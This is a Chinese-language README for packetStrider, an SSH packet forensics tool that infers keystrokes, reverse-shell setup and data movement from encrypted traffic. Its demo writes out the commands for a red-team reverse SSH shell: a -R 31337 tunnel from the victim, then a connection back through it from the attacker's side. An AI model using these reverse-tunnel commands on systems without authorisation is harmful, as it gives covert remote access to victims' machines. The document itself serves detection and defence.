
packetStrider for SSH 是一款数据包取证工具,旨在提供关于 SSH 流量本质的宝贵洞察,照亮 SSH 网络流量的角落,让之前隐藏在黑暗中的信息金块得以显现。
SSH 显然是加密的,但网络流量中仍然存在有价值的上下文信息,这些信息可用于 TTP、意图、行动的成功与否以及规模。甚至可能存在这样的情况:主机上无法获取或已删除了有价值的上下文信息,因此拥有一个不可变、不可更改的被动网络捕获数据可以提供额外的取证上下文。"数据包不说谎"。
除了取证上下文之外,packetStrider 的预测还可以主动使用,例如,如果预测到隧道化反向 SSH 会话启动功能(甚至在反向认证被提供之前),则可以对正向连接进行 shun/RST。
-R 选项——这使得稍后在会话中建立反向连接成为可能。该痕迹在会话早期、正向会话认证后立即被发现。这是反向会话可能存在的第一个可用警告信号。-A 选项(SSH 代理转发),它使客户端能够与服务器共享其本地 SSH 私钥。该功能通常被认为是危险的。
参考资料:
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491使用 Python3,你需要以下模块(Python2 下可能不保证兼容):
pip3 install pandas matplotlib pyshark
用法:
python3 packetStrider-ssh.py -h
输出:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
pcap 文件 "forward_reverse.pcap" 来源于反向 SSH shell 的常见 TTP,是所有红队的首选。具体使用了以下命令,以简单方式突出 packet strider 的能力:
来自受害者的正向连接
ssh [email protected] -R 31337:localhost:22,该命令绑定本地端口 31337,为反向 SSH 连接准备回连到受害者 PC。该连接可以通过多种方式实现,包括手动、利用 RCE、SSRF 或某种形式的持久化。对于本演示,它是一个手动的标准正向会话。ls,顺序为:'l' 'w' 'w' 'back-space' 'back-space' 's',然后回车。通过线路传输的数据总大小(作为 ls 的输出)被归类为渗透(infiltration),因为是入站数据。现在在攻击者的机器(服务器)上,反向 shell 被发起回连到受害者:
ssh victim@localhost -p 31337。此时,甚至在认证过程开始之前,packet strider 已在数据包 72 处识别到反向 SSH 会话启动。last,以按键形式:'l' 'a' 's' 'r' 'delete' 't' 'enter'who,以按键形式:'w' 'h' 'o' 'enter'exit,以按键形式:'e' 'x' 'i' 't'最后,正向会话被关闭,只是证明正向 SSH 特征检测仍然有效。
exit该活动的网络流量被保存到 tcpdump.pcap,现在运行 Packet Strider。
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

该图显示了关键预测的时间线(此图片已添加注释)

该图显示了一些窗口统计信息,适用于深入分析和实验特征。

该图显示了一个简单的直方图。

该项目是个人概念验证,是我练习 Python 中一些数据科学库的方式,主要灵感来自我在 Coursera 上关于机器学习和数据科学的学习,特别是 pandas 库以及卷积神经网络(CNN)使用滑动窗口“步进”遍历图像像素集以检测特定特征的方式。
Packet Strider 在全功能模式下会执行大量的“步进”操作。如果 pcap 文件很大,或者更精确地说,如果 pcap 中有很多数据包,这可能会导致相当大的资源使用。以下是一些加速提示,特别适用于初始运行,例如仅查看是否预测到反向 SSH 活动,然后根据需要添加功能。
-p --predict_plot 选项是资源最密集的操作。考虑仅运行输出到终端,然后根据需要决定是否绘图。-m --metaonly 选项。这仅检索高级元数据,如协议名称和 HASSH 数据。这对于快速确定你正在处理的是 OpenSSH 的交互式会话还是像 Cyberduck 这样的文件传输客户端非常有用。-m --metaonly 选项运行来了解。你可以使用 -n NSTREAM 选项仅检查流 "NSTREAM",或者使用 wireshark 等进行预过滤。-z ZOOM, --zoom ZOOM 实现。例如 -z 100-500-k 选项虽然会节省处理速度,但也意味着你不会获得这一宝贵的洞察。使用风险自负。请参阅许可条款。